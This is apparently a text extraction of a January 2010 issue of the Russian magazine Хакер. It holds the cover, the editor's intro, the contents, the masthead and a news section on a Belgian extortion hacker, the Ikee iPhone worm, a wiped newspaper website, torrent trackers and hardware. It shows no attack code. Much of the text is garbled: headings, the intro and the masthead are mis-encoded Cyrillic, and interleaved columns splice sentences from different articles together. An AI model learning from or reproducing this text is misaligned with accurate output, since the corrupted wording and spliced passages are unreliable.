Вы находитесь на странице: 1из 148

MAC OS X: УСТАНОВКА НА ОБЫЧНЫЙ КОМП

РЕ
СТР. 20

КО ЦЕ
М НА
ЕН :
ДО 210
ВА р.
НН
ЯА
LISP ВОЛШЕБНЫЕ
МЕТОДЫ
VS. JAVA
×ÒÎ È ÍÅ ÑÍÈËÎÑÜ
ÍÎÂÛÉ Ê ËÀÑÑ
ÎØÈÁÎÊ
ÐÀÇÐÀÁÎÒ×ÈÊ ÀÌ Â ÑÊÐÈÏÒÀ Õ PHP
JAVA ÑÒÐ. 48
ÑÒÐ. 100
ПРОСЛУШКА SKYPE

прослушкa СТР. 94

БОРЬБА
СЕТЕВЫЕ С СИНИМ
РЕГУЛИРОВЩИКИ
ÂÛÁÈÐÀÅÌ ÄÈÑÒÐÈÁÓÒÈÂ
ЗМИЕМ
ÏÐÎÔÈËÀÊÒÈÊ À BSOD
ÄËß ÑÎÇÄÀÍÈß ÄËß ÍÀ×ÈÍÀÞÙÅÃÎ
ÐÎÓÒÅÐÀ ÄÐÀÉÂÅÐÎÏÈÑÀÒÅËß
133

ÑÒÐ. 120 ÑÒÐ. 86


175 ÐÓÁËÅÉ
ÏÎÄÏÈØÈÑÜ Â ÐÅÄÀÊÖÈÈ
È ÏÎËÓ×ÀÉ ÕÀÊÅÐ
ÏÎ ÂÛÃÎÄÍÎÉ ÖÅÍÅ
ÏÎÄÐÎÁÍÎÑÒÈ ÍÀ ÑÒÐÀÍÈÖÅ 138
INTRO
Çàöåíè êîðïóñêóëÿðíî-âîëíîâîé äóàëèçì ýòîãî íîìåðà: îí îäíîâðåìåííî ÿâëÿåòñÿ è ÿíâàðñêèì, è
ôåâðàëüñêèì! :) Ïðè÷åì ýòî íèêàêîé íå ñäâîåííûé íîìåð, è Õàêåð êàê âûõîäèë ðàç â ìåñÿö, òàê è ïðîäîëæèò
âûõîäèòü ðàç â ìåñÿö.

 ÷åì ñåêðåò? Ïðîñòî ìû òóò ðàññóäèëè, ÷òî ïîðà ïåðåõîäèòü íà íîâûé ãðàôèê: ÷òîáû z ïîÿâëÿëñÿ â êèîñêàõ
ê íà÷àëó ìåñÿöà, à íå â 20-õ ÷èñëàõ, êàê áûëî ðàíüøå. Ñîáñòâåííî, íà÷èíàÿ ñî ñëåäóþùåãî íîìåðà, òàê è
áóäåò: ìàðòîâñêèé íîìåð âûéäåò â êîíöå ôåâðàëÿ, àïðåëüñêèé — â êîíöå ìàðòà è òàê äàëåå äî êîíöà ýòîãî
ãîäà, êîãäà âûéäåò íîìåð ßíâàðü-2011.

Âîò òàêîé òåõíè÷åñêèé ìîìåíò.  îñòàëüíîì âñå ïî-ñòàðîìó: â ýòîì íîìåðå òåáÿ æäåò êó÷à íîâûõ êîíöåïòîâ
âçëîìà è çàùèòû, èíòåðåñíûõ îáçîðîâ, èäåé, òðþêîâ è ñîâåòîâ.

Ïðèÿòíîãî ÷òåíèÿ!

nikitozz, ãë. ðåä.


z

nikitoz@real.xakep.ru
Content
MegaNews 082 ÃÎÂÎÐßÙÈÉ ÏÈÍÃÂÈÍ
Учим Linux говорить и слушать

004 Все новое за последний месяц

Кодинг
Ferrum 086 ÁÎÐÜÁÀ Ñ ÑÈÍÈÌ ÇÌÈÅÌ
Краткий мануал по профилактике
016 ÃÎÍÊÈ ÍÀ «ÊÀÌÍßÕ» BSOD для начинающего драйверописателя
Сравнительное тестирование процессоров различной
архитектуры от Intel и AMD 090 ÐÎÁÎÒ ÄËß GOOGLE WAVE
Напишем его на Python’е!

PC_ZONE 094 ÏÎÄÑËÓØÈÂÀÅÌ SKYPE


Хакерский подход к резервному
копированию VoIP-разговоров
020 ×ÒÎ ÍÀÌ ÑÒÎÈÒ MAC ÏÎÑÒÐÎÈÒÜ?
Устанавливаем МакОС на обычный компьютер 100 ][-HOLYWAR: LISP VS. JAVA
Common Lisp: простота и мощь
026 9 ÑÊÀÍÅÐÎÂ ÁÅÇÎÏÀÑÍÎÑÒÈ промышленного стандарта
Лучшие инструменты для пентестера
104 ÊÎÄÅÐÑÊÈÅ ÒÈÏÑÛ È ÒÐÈÊÑÛ
030 ÑÅÊÐÅÒÛ ÀÂÒÎÌÀÒÈÇÀÖÈÈН Три правила кодинга на C++
Несколько примеров того, как облегчить себе жизнь для настоящих спецов

034 ÊÎÄÈÍÃ ÄËß MAEMO 5


Пишем Bluetooth-сканнер для Nokia N900

SYN/ACK
Взлом 108 ÎÄÍÈÌ ÌÀÕÎÌ
Централизованное развертывание Windows 7
038 EASY-HACK при помощи SCCM 2007 SP2
Хакерские секреты простых вещей
114 ÑÈÌÁÈÎÒÈ×ÅÑÊÀß ÑÂßÇÜ
042 ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ Настраиваем связку SharePoint 2007,
Анализ свеженьких уязвимостей Exchange Server 2010 и Active Directory

048 PHP È ÂÎËØÅÁÍÛÅ ÌÅÒÎÄÛ 120 ÑÅÒÅÂÛÅ ÐÅÃÓËÈÐÎÂÙÈÊÈ


Сериализация PHP-объектов глазами хакера Обзор популярных дистрибутивов-роутеров

052 ÝÊÑÏËÎÈÒ «ÍÀ ÊÎËÅÍÊÅ» 126 IN DA FOCUS


Пишем эксплойт подручными средствами Обзор серверных железок

056 ÑÂÎÉ ÃÈÏÅÐÂÈÇÎÐ ÁËÈÆÅ Ê ÒÅËÓ! 128 ÎÑÒÀÒÜÑß ÍÀ ÏËÀÂÓ


Аппаратная виртуализация на практике Обвески для Web-сервера,
без которых не обойтись
060 ÂÇËÎÌ ÂÑÅß ÑÅÒÈ
Omnis — самый лучший хостинг!

066 X-TOOLS
Программы для взлома
Юниты
134 PSYCHO
Сцена Уязвимые личности:руководство
по эксплуатации

068 ÃÐÅÃ ÕÎÃËÀÍÄ 140 FAQ UNITED


Хакер, писатель, геймер Большой FAQ

143 ÄÈÑÊÎ
Юниксойд 144
8.5 Гб всякой всячины

WWW2
Удобные web-сервисы
072 ×ÅÐÒÅÍÎÊ ÈÇ ÒÀÁÀÊÅÐÊÈ
Детальный обзор FreeBSD 8.0

076 APT È ÂÑÅ, ÂÑÅ, ÂÑÅ


Изучаем возможности менеджера пакетов APT
и сопутствующих программ
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05
056
086

020
/ÐÅÄÀÊÖÈЯ Антон «Ant» Жуков >Менеджеры 101000, Ìîñêâà,
>Ãëàâíûé ðåäàêòîð >Монтаж видео Ольга Емельянцева Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
Íèêèòà «nikitozz» Êèñëèöèí Максим Трубицын Мария Нестерова Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
(nikitoz@real.xakep.ru) Мария Николаенко Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,
>Âûïóñêàþùèé ðåäàêòîð /PUBLISHING Максим Соболев òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ
Николай«gorl»Андреев Надежда Гончарова êîììóíèêàöèé ÏÈ ß 77-11802 îò 14
(gorlum@real.xakep.ru) >Ó÷ðåäèòåëü Наталья Мистюкова ôåâðàëÿ 2002 ã.
>Ðåäàêòîðû ðóáðèê ÎÎÎ «Ãåéì Ëýíä» >Администратор Îòïå÷àòàíî â òèïîãðàôèè
ÂÇËÎÌ 119021, Москва, ул. Тимура Фрунзе, Мария Бушева «Lietuvas Rivas», Литва.
Дмитрий«Forb» Докучаев д. 11, стр. 44-45 >Работа с рекламными агентствами Òèðàæ 100 000 ýêçåìïëÿðîâ.
(forb@real.xakep.ru) Тел.: +7 (495) 935-7034 Лидия Стрекнева (strekneva@gameland.ru) Öåíà äîãîâîðíàÿ.
PC_ZONE и UNITS Факс: +7 (495) 780-8824 >Старший менеджер Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
Степан «step» Ильин >Генеральный дèðåêòîð Светлана Пинчук ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ
(step@real.xakep.ru) Äìèòðèé Àãàðóíîâ >Старший трафик-менеджер óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå
UNIXOID, SYN\ACK и PSYCHO >Óïðàâëÿþùèé äèðåêòîð Марья Алексеева ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê
Àíäðåé «Andrushock» Ìàòâååâ Äàâèä Øîñòàê ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå
(andrushock@real.xakep.ru) >Äèðåêòîð ïî ðàçâèòèþ
/ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ
ÊÎÄÈÍà >Äèðåêòîð îòäåëà öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê
Ïàøà Ðîìàíîâñêèé
Александр «Dr. Klouniz» Лозовский äèñòðèáóöèè îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ
>Äèðåêòîð ïî ïåðñîíàëó
(alexander@real.xakep.ru) Àíäðåé Ñòåïàíîâ îòâåòñòâåííîñòè íå íåñåò.
Татьяна Гудебская
ФРИКИНГ >Ôèíàíñîâûé äèðåêòîð
(andrey@gameland.ru) Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà
Сергей Долин >Руководитель московского ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â
Анастасия Леонова
>Ëèòåðàòóðíûй ðåäàêòîð направления íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ
>Редакционный директор
Дмитрий Лященко Дмитрий Ладыженский
Ольга Девальд áåç ñïðîñà — ïðåñëåäóåì.
(lyashchenko@gameland.ru) >PR-менеджер
(devald@gameland.ru) По вопросам лицензирования и получения
>Руководитель регионального прав на использование редакционных ма-
Наталья Литвиновская
/ART >Директор по маркетингу
направления териалов журнала обращайтесь по адресу:
>Àðò-äèðåêòîð Òàòüÿíà Êîøåëåâà content@gameland.ru
Дмитрий Плющев
Евгений Новиков >Главный дизайнер
(kosheleva@gameland.ru ) В октябрьский номер за 2009 год вкралась
(novikov.e@gameland.ru) >Руководитель отдела подписки досадная опечатка. Автором статьи
Энди Тернбулл
>Верстальщик Марина Гончарова «Рожденные мультимедиа революцией»
>Директор по производству
Вера Светлых Сергей Кучерявый
(goncharova@gameland.ru) является Юрий «bober» Раззоренов (zloy.
(svetlyh@gameland.ru) òåë.: (495) 935.70.34 bobr@gmail.com), а не Юрий Видинеев.
/DVD /ÐÅÊËÀÌÀ ôàêñ: (495) 780.88.24 Редакция приносит свои извинения за эту
>Выпускающий редактор / Тел.: (495) 935-7034, факс: (495) 780-8824 > Ãîðячая ëèíèя ïî ïîäïèñêå ошибку.
Степан «Step» Ильин >Директор группы GAMES & DIGITAL òåë.: 8 (800) 200.3.999 © ÎÎÎ «Ãåéì Ëýíä», РФ, 2009
(step@real.xakep.ru) Евгения Горячева (goryacheva@gameland.ru) Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè
>Редактор Unix-раздела > Äëя писем
MEGANEWS МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU

MEGANEWS
ÎÁÎ ÂÑÅÌ ÇÀ ÏÎÑ ËÅÄÍÈÉ ÌÅÑßÖ

3G-ÒÅËÅÔÎÍÛ ÎÒ ÌÒÑ

ÂÅÍÄÅÒÒÀ Ñ ÏÐÎÂÀÉÄÅÐÎÌ
В Бельгии властям удалось вычислить еще 500 паролей, подтвердив, что он
и поймать хакера-шантажиста, скры- не блефует. Слив, правда, был зарезан
вавшегося под ником Vendetta. Этот на корню модераторами форума, где
товарищ нашел некую дырку в системе Vendetta выкладывал пароли — они
безопасности крупнейшего провайде- почти сразу удалили криминальный
ра страны — Belgacom, и угрожал опуб- мессаг. В итоге, Belgacom проблему
ликовать в сети 285 тыс. паролей его все же признал, но не совсем так,
юзеров. Выложив первые 30 паролей в как хотелось бы хакеру — провайдер
широкий доступ, хакер выдвинул всего обратился в органы, прямиком в бель-
одно, очень простое требование — гийский аналог нашего «отдела «К».
он хотел, чтобы Belgacom предоставил Киберполицейские сработали весьма
своим пользователям нормальный оперативно — поимка Vendetta заняла
безлимитный тариф. Дело в том, что чуть более месяца. Шантажистом
пров установил жесткие лимиты на ска- оказался 20-летний студент факультета
чивание — от 4 до 60 гигабайт в месяц информационных технологий. Теперь
и никакого анлима. Когда провайдер борцу за безлимит грозит до трех лет
никак не отреагировал на этот выпад, тюрьмы.
борец за справедливость слил в сеть

Крупнейший оператор сотовой связи в России и стра-


нах СНГ объявил о расширении собственной бренди-
рованной линейки телефонов и представил первые в
линейке модели, поддерживающие стандарт 3G — МТС
736 и МТС 835. Новые трубки, разработанные компа- ÊÎÌÏÀÍÈß EZTV ÐÅØÈËÀ ÂÛßÂÈÒÜ ÑÀÌÛÉ
нией Huawei для оператора Vodafone, поставляются на
российский рынок под брендом МТС в рамках страте- ÏÎÏÓËßÐÍÛÉ ÒÎÐÐÅÍÒ-ÊËÈÅÍÒ,
гического партнерства двух операторов. Они логично
продолжают линейку собственных брендированных È ÎÊÀÇÀËÎÑÜ, ×ÒÎ ÝÒÎ ÂÎÂÑÅ ÍÅ UTORRENT,
ÍÀÁÐÀÂØÈÉ 25.8%, À XUNLEI, ×ÅÉ
телефонов МТС, запущенную в сентябре 2009, с выхо-
дом аппарата МТС 236. Ожидается, что новые аппараты

ÐÅÇÓËÜÒÀÒ — 29.3%. ÌÍÎÃÎÅ ÎÁÚßÑÍßÅÒ


станут одними из наиболее доступных на российском
рынке моделей 3G-телефонов. 736-й ориентирован на
молодежный сегмент рынка, а 835-й на бизнесменов.
На трубки распространяется трехлетняя гарантия: ÒÎÒ ÔÀÊÒ, ×ÒÎ XUNLEI — ÊÈÒÀÉÑÊÈÉ
один год — для любого владельца телефонов, и допол-
нительно два года — для абонентов МТС. ÊËÈÅÍÒ.
004 XÀÊÅÐ 01 /133/ 10
MEGANEWS

PC27

ÕÀÊ ÕÀÊÓ ÐÎÇÍÜ


Как известно, исключения подтверждают правило, и клип на песню «Never Gonna Give You Up». Так что
хакеров это тоже касается — иногда хаки и малварь фотка Эстли намекала владельцу зараженного
действительно приносят своим авторам не много- телефона, что его отрикроллили :). Таунс утверждает,
миллионные штрафы и долгие годы тюрьмы, а славу что написанием вируса он хотел обратить внимание
мирскую и приглашения на престижную работу. общественности на изъяны в ОС и на ее уязвимость.
Именно так произошло с 21-летним австралийцем Что ж, ему это удалось, ведь Ikee стал точкой отсчета
Эшли Таунсом, который написал первый вирус для для других вирусмэйкеров — на его основе были
iPhone. Детище Таунса называлось Ikee и поражало написаны уже совсем не смешные вещи, например,
только нелегально разлоченные смартфоны Apple. вирь, недавно поразивший клиентов сетевого банка
В целом червь был безвреден, он просто менял ING. Однако Таунс за свои проделки с фоткой Эстли
стандартную заставку iPhone на фото певца Рика никакого наказания не понес, а теперь его и вовсе
Эстли. Если ты вдруг не в курсе — Эстли еще в 80-е пригласили на работу в фирму, разрабатывающую
годы исполнил песню «Never Gonna Give You Up», легальные приложения для iPhone. Многие IT-де-
которая в 2007 году породила в сети мем рикроллин- ятели уже высказались относительно этого события
га (rickrolling). Работает рикроллинг просто — тебе в негативном ключе, считая, что вознаграждать
присылают ссылку на YouTube, якобы на что-то человека за нелицеприятные поступки, в которых он
интересное, а, пройдя по линку, ты обнаруживаешь даже не раскаивается, неправильно.

ÏÀÐÀ ÑËÎÂ Î ÏÎËÜÇÅ ÁÝÊÀÏÎÂ


3-го декабря сайт газеты «Московский ны, потому как про бэкапы в МК, видимо, не
комсомолец» оказался в буквальном смыс- слышали или считают, что это «от Лукавого».
ле уничтожен хакерской атакой, которая, по Зато в МК полагают, что взлом был делом рук
словам главного редактора МК Павла Гусева, какой-то хакерской организации или даже
длилась всего 10 минут. На самом деле, атака спецслужб. Представители газеты сообщили,
Ó×ÅÍÛÅ длилась, конечно, дольше, а упомянутые 10 что отследить атаковавших удалось, но, судя
минут потребовались непосредственно на по всему, лишь частично — в МК уверяют, что
ÊÀËÈÔÎÐÍÈÉÑÊÎÃÎ стирание данных. Аннигиляции подверглось взлом произвели из Южной Кореи. Это наводит
все — от баз данных до фото- и видеоархи- на мысли, что корейские спецслужбы вряд ли
ÓÍÈÂÅÐÑÈÒÅÒÀ ва газеты. Хак произошел ровно за день до интересуются «Московским комсомольцем»,
запуска новой версии сайта и за неделю до а хакеры, скорее всего, просто хорошо замели
ÏÎÄÑ×ÈÒÀËÈ, ×ÒÎ 90-летия Издательского дома «Московский следы. Если, конечно, хакеры вообще были, и
комсомолец». Самое поразительное во всей сайт не почил с миром по вине, скажем, убор-
ÑÐÅÄÍÈÉ ÀÌÅÐÈÊÀÍÅÖ этой истории, что в результате взлома фото- и щицы, неудачно опрокинувшей ведро.
видеоархив оказались безвозвратно утеря-
ÏÎÒÐÅÁËßÅÒ ÏÎÐßÄÊÀ
34 ÃÁ ÄÀÍÍÛÕ Â ÄÅÍÜ. ÊÐÓÃÎÂÎÐÎÒ ÒÐÅÊÅÐÎÂ Â ÏÐÈÐÎÄÅ
Вокруг крупных торрент-трекеров в последнее время бушуют
нешуточные страсти, но некоторые события выбиваются
даже из уже ставшей привычной череды судов и скандалов. С
прискорбием сообщаем, что популярнейший трекер Mininova
(mininova.org) приказал долго жить. Команда уже давно шла на
всяческие уступки по отношению к копирастам, то есть, неле-
гальный контент исчезал с трекера по первому же требованию
правообладателей. Что ж, теперь контента не будет вообще.
Проиграв очередное судебное разбирательство, коллектив
Mininova был вынужден исполнить указание суда, а именно
— закрыть трекер для свободной загрузки торрентов, а затем
провести глобальную зачистку, удалив все раздачи. Отныне
трекер работает только с системой Content Distribution, то
есть на нем раздается контент, выложенный собственноручно
его создателями. Но, как водится, где плохая новость, там и
хорошая. Не работавший с сентября месяца трекер Demonoid
вернулся в строй! Трекер возродился с базами от 11 сентября
2009 года, то есть, фактически не понеся никаких потерь. Про-
блем с авторизацией у старых юзеров также не наблюдается,
а регистрация по-прежнему доступна только по инвайтам.
«Демонойду» пора менять логотип на птицу феникс :).

006 XÀÊÅÐ 01 /133/ 10


Реклама
MEGANEWS

PC27 J3

ÃÐÀÔÈ×ÅÑÊÈÅ ÌÎÙÍÎÑÒÈ ÎÒ SAPPHIRE


Компания Sapphire представила новинку в ным дизайном, а также работает не в пример
линейке Vapor-X — свою вариацию 3-D карты тише. Sapphire HD 5770 оснащена 800-пото-
Radeon HD 5770. Напомним, что фишкой ковыми процессорами, 128-битной шиной
линейки является применение кулеров с памяти и 1 Гб памяти GDDR5. Из разъемов
испарительной камерой в основании. Судя наличествуют 2 DVI порта, HDMI и DisplayPort,
по всему, эта конструкция себя оправдывает, плюс карта поддерживает DirectX11, ATI
ведь в Sapphire с гордостью сообщают, что Eyefinity и режим CrossFireX. В онлайн-мага-
их кулер справляется с охлаждением на 9 зинах цена на девайс колеблется между 145-
градусов лучше по сравнению с референс- 189 евро.

ÀÍÀËÈÒÈÊÈ ÈÇ RESEARCH AND MARKETS ÏÐÅÄÐÅÊÀÞÒ,


×ÒÎ Ê 2011 ÃÎÄÓ ÏÐÎÄÀÆÈ ÏÊ ÂÎÇÜÌÓÒ ÎÒÌÅÒÊÓ
3 ÌËÐÄ. ØÒÓÊ Â ÃÎÄ. ÂÅËÈÊÈÉ ÌÀÃÍÈÒ THE
PIRATE BAY
В конце ноября половина интер- технологии DHT и расширения
нета, наверняка, едва не зарабо- битторент-протокола PEX, кото-
тала инфаркт, увидев заголовки рые позволят юзерам загружать
новостных лент, пестрящие па- файлы напрямую друг у друга, без
ническими криками: «Пиратская участия трекера. Заявив в блоге,
бухта наконец-то закрывается!». что «трекер больше не нужен»,
Но, как выяснилось, никаких при- создатели TPB изменили архи-
чин для паники не было, а команда тектуру ресурса, закрыв tracker.
TPB лишь предприняла очеред- thepiratebay.org и перейдя на
ной логичный и изящный шаг. magnet-ссылки. Теперь принцип
Администрация трекера работы TPB стал похож на,
долго ломала голову над тем, скажем, DC++ и другие файло-
как перевести торренты «на обменные проги. Как лаконично
следующий уровень», и пока замечают сами админы: «Это
решила остановиться на связке будущее. И уже настоящее».

ÍÅ ÑÌÎÒÐÅÒÜ, ÍÅ ÑËÓØÀÒÜ, ÍÅ ÊÀ×ÀÒÜ


Правообладатели, похоже, не знают, до чего бы еще добраться и что бы кто-то посмел загрузить нелегальную копию некоего фильма. Конкретный
такое закрыть, поэтому от их рук все чаще страдают совсем не «средо- «виновник торжества» так же не был найден — сетка была бесплатной и
точия зла», а случайные люди и организации. На этот раз «отличилась» открытой, и пользовались ей не только чиновники, но и простые горожа-
Американская ассоциация кинокомпаний (МРАА), принудившая власти не. Но теперь городок остался без удобной Wi-Fi сети — дело в том, что на
маленького городка Кошоктон в штате Огайо отключить их муници- поднятие системы фильтрации контента у властей города нет средств, а
пальную Wi-Fi сетку с доступом в интернет. Что за страшный контрафакт после требования МРАА, местный провайдер сразу же остановил работу
скачивали или распространяли с ее помощью, неизвестно, сообщается муниципального сервиса, дабы избежать суда и штрафов с большим
лишь, что Sony Pictures Entertainment обнаружила, что в Кошоктоне количеством нулей после запятой.

008 XÀÊÅÐ 01 /133/ 10


009
MEGANEWS

×ÓÄÅÑÀ ÌÈÍÈÀÒÞÐÈÇÀÖÈÈ
Компания VIA представила широкой публике материнскую плату рекордного размера —
всего 6 х 6 см. Новый форм-фактор в компании назвали Mobile-ITX. Это, казалось бы,
здорово и новость — лишний повод порадоваться достижениям прогресса, но не все так
просто. На деле хитрецы из VIA, фактически, разделили обычную материнскую плату на
две части, представив меньшую как «новый форм-фактор», а вторую часть, которая, кстати,
больше примерно в 2.5 раза, назвали «дополнительной платой ввода-вывода». Очень
тонкая ирония, учитывая, что на «дополнительной» плате расположилась и батарейка, и
часть контроллеров портов, и другие «ненужные» вещи :). На меньшей же части девайса
уместились процессор C7M тактовой частотой 1 ГГц и 512 Мб DDRII 667/533MHz SDRAM.
Энергопотребление малютки составляет не более 12 Вт, и пассивного охлаждения плате
вполне хватает. Справедливости ради все же отметим, что размер платы ввода-вывода
может варьироваться в зависимости от ее конфигурации, так что определенной степени
миниатюрности VIA, конечно, действительно достигли.

 MCAFEE ÏÐÎÂÅËÈ Î×ÅÐÅÄÍÎÅ ÈÑÑËÅÄÎÂÀÍÈÅ, ÍÀ ÝÒÎÒ ÐÀÇ ÍÀÇÂÀ ÑÀÌÛÅ


ÎÏÀÑÍÛÅ ÄÎÌÅÍÛ Â ÑÅÒÈ. ËÈÄÈÐÓÞÙÈÅ ÏÎÇÈÖÈÈ ÀÍÒÈ-ÒÎÏÀ ÇÀÍÈÌÀÞÒ
ÊÀÌÅÐÓÍ (.CM), ÃÎÍÊÎÍÃ (.HK), ÊÍÐ (.CN) È ÑÀÌÎÀ (.WS). ÇÎÍÛ .SU È .RU ÒÎÆÅ
ÂÎØËÈ Â ÄÅÑßÒÊÓ ÍÀÈÁÎËÅÅ ÎÏÀÑÍÛÕ.

GOOGLE DNS
Пожалуй, сейчас стало проще сказать, каких посему мы расскажем только о том, что Google сений Google заверяет, что не будет записывать
сервисов пока нет у компании Google, чем запустил сервис Public DNS. Собственный никакую частную информацию пользователей,
перечислить уже существующие. Но «Гуглу» DNS-сервис поискового гиганта призван по- а IP-адреса не станет хранить дольше пары
все мало — компания продолжает поставлять высить скорость загрузки сайтов и обеспечить дней. Информация о провайдере и местона-
нововведения с такой скоростью и в таких большую безопасность юзеров. Чтобы подклю- хождении пользователя так же не задержится в
объемах, что для адекватного их описания нам читься к нему, достаточно прописать первич- базах дольше 1.5-2 недель. Верить Google или
потребовалась бы отдельная рубрика, никак ным и вторичным DNS адреса 8.8.8.8 и 8.8.4.4. В нет, решать тебе.
не меньше. Однако гугло-рубрики у нас нет, ответ на резонную волну параноидальных опа-

ÎÄÈÍ ÝÊÐÀÍ ÕÎÐÎØÎ, Кого сегодня удивишь ноутбуком? Верно — никого, ведь

À ÄÂÀ ËÓ×ØÅ каких только вариаций лаптопов ни придумали: крохотные


нетбуки; большие, мощные ноуты, способные заменить
собой серьезный десктоп; гибриды лаптопов с планшетны-
ми ПК и т.д., и т.п. Но если тебе при всем богатстве выбора
хочется чего-то оригинального, то, возможно, машинка от
японской компании Kohjinsha придется по душе. Ноут серии
DZ (DZ6KHE16E) имеет одну интересную фишку — он осна-
щен сразу двумя 10-дюймовыми экранами с разрешением
1024 x 600 каждый. Экраны расположены таким образом,
что по желанию можно разложить или сразу оба, образовав
огромную рабочую область, или же, если нужна компакт-
ность, можно довольствоваться сложенным вариантом и его
10-ю дюймами. В остальном конфигурация машины такова:
процессор Athlon Neo MV-40 1.6 ГГц, от 1 до 4 Гб памяти
DDR2, графический процессор ATI Radeon HD 3200 и жесткий
диск на 160 Гб. В комплекте имеются адаптер Wi-Fi IEEE
802.11 b/g/n, Bluetooth ver 2.1 + EDR, 3 USB-порта, кардридер
«3-в-1» и веб-камера на 1.3 МП. Цена ноутбука в японских
интернет-магазинах равна примерно $1100, плюс расходы
на пересылку до России.

010 XÀÊÅÐ 01 /133/ 10


11
MEGANEWS

ÍÎÂÎÅ ÏÐÅÑÌÛÊÀÞÙÅÅÑß ÎÒ RAZER


Компания Razer, чьи клавиатуры, мыши и акустика хорошо
знакомы геймерам и не только, представила пополнение в
семействе «грызунов». Согласно традиции все клавиатуры
Razer носят имена пауков, акустика — имена рыб, а мыши
называют в честь змей, так что новинка получила имя Razer
Imperator (императорский удав). Новая мышь выполне-
на с упором на эргономику, но заточена, увы, только под
правшей. Зато правши должны порадоваться — у Imperator
появилась возможность регулировки положения боковых
кнопок, что позволяет подстроить девайс точно под размер
своей руки и даже под манер захвата мыши. Лазерный сен-
сор Razer Precision 3.5G обеспечит разрешение до 5600dpi,
а традиционные для продуктов Razer функция On-The-Fly
Sensitivity (настройка чувствительности на лету) и бесшум-
ные тефлоновые ножки Ultraslick гарантируют удобство и
точность движений. Цена новинки составит $80.

 ÕÎÄÅ ÈÑÑËÅÄÎÂÀÍÈß
ÊÎÌÏÀÍÈÅÉ «ÊÎÌÊÎÍ»
ÁÛËÎ ÂÛßÂËÅÍÎ: ÓÐÎÂÅÍÜ
ÏÈÐÀÒÑÒÂÀ ÑÐÅÄÈ ÄÎÌÀØÍÈÕ
ÀÍÒÈÂÈÐÓÑΠÑÎÑÒÀÂËßÅÒ
70%.
ÊÈÁÎÐÃÈ ÈÄÓÒ
Как же был прав Уильям Гибсон, сказавший: правляющие прямо в мозг, через оптические
«будущее уже здесь, просто оно пока не очень нервы, сигнал со специальных очков, в которые
широко распространено». Ярким и живым до- встроена камера. Операция по имплантации
казательством этого изречения стал 51-летний датчиков заняла 4 часа, затем еще 2 месяца
британец Питер Лэйн, потерявший зрение потребовалось на заживление глаза и вот — к
более 30 лет назад, а теперь вновь обретший Лэйну начало возвращаться зрение. Теперь он
его, благодаря бионическому глазу. Лэйн стал может не только различать очертания объектов
одним из первых в мире людей, кому в глаз вокруг себя, но даже читать текст со специаль-
имплантировали электронные датчики, стиму- ного экрана. Помимо Лэйна новую технологию
лирующие оставшиеся нервы сетчатки и пере- уже испытывают на себе еще 32 добровольца.

ÏÎÈÑÊÎÂÛÅ ÀËÜßÍÑÛ
Сразу ряд интересных сообщений поступил из стана крупных поисковых компаний.
Например, стало известно, что компании Mail.Ru и Google заключили соглашение о со-
трудничестве, согласно которому с января 2010 Mail.Ru начнет использование поисковых
технологий Google и разместит у себя рекламные блоки AdSense. О своих поисковых
технологиях Mail.Ru, впрочем, забывать тоже не собирается, планируя развивать их не
менее активно.
И, почти одновременно с первым сообщением, было объявлено о начале сотрудничества
между компанией «Яндекс» и Bing.com — поисковиком компании Microsoft. В частности,
для российской аудитории Bing.com разместил у себя рекламу с сервиса «Яндекс.Ди-
рект». Согласно официальным комментариям представителей «Яндекса», размещение
рекламы на Bing.com показало высокую эффективность и себя оправдало. Ограничатся
ли компании одной только рекламой, покажет время, а пока все происходящее очень
напоминает крылатую фразу «против кого дружить будем» :).

012 XÀÊÅÐ 01 /133/ 10


013
13
Реклама
MEGANEWS

ÐÀÑÏÎÇÍÀÂÀÍÈÅ
ÎÁÐÀÇÎÂ
И еще немного о Google. Недавно широкой
публике была представлена очень интересная
программа для платформы Andriod — Google
Goggles. С помощью этой занимательной проги,
поиск в Сети стало возможно осуществлять не
через поисковые запросы, а просто используя
камеру своего телефона. Практически как в
фантастических книгах и фильмах — наводишь
мобильник на интересующий тебя предмет,
фотографируешь его, и сервис рассказывает
тебе, что это такое. На текущий момент Google
Goggles распознает самые разные книги, диски,
достопримечательности, магазины, рестораны,
кафе и даже разбирается в марках вин. В качест-
ве приятного бонуса прога умеет читать визитки.
Интересно, как скоро можно будет сфотогра-
фировать человека на мобильник и получить
информацию о нем? :)
Другой интересный факт относительно
платформы Android — на днях Сергей Брин
заявил, что в будущем компания планирует
слить Android и Chrome OS воедино, взяв
из каждой ОСи только лучшее и создав
своего рода идеал. Учитывая, что первые
девайсы с Chrome OS на борту появятся
только к концу 2010 года, это далеко иду-
щие планы.
ФБР США ÑÎÎÁÙÀÅÒ, ×ÒÎ ÌÎØÅÍÍÈÊÈ,
ÊËÅÏÀÞÙÈÅ È ÐÀÑÏÐÎÑÒÐÀÍßÞÙÈÅ ÔÅÉÊÎÂÛÅ
ÀÍÒÈÂÈÐÓÑÛ, ÓÆÅ ÇÀÐÀÁÎÒÀËÈ ÍÀ ÑÂÎÈÕ ÏÎÄÅËÊÀÕ
ÁÎËÅÅ $150 ÌËÍ.
«ÇÅËÅÍÛÉ»
ÌÎÍÈÒÎÐ
Ассортимент компании Nec пополнился
новым монитором — 22-дюймовая модель
MultiSync EA222WMe станет первым на-
стольным монитором от Nec, использующим
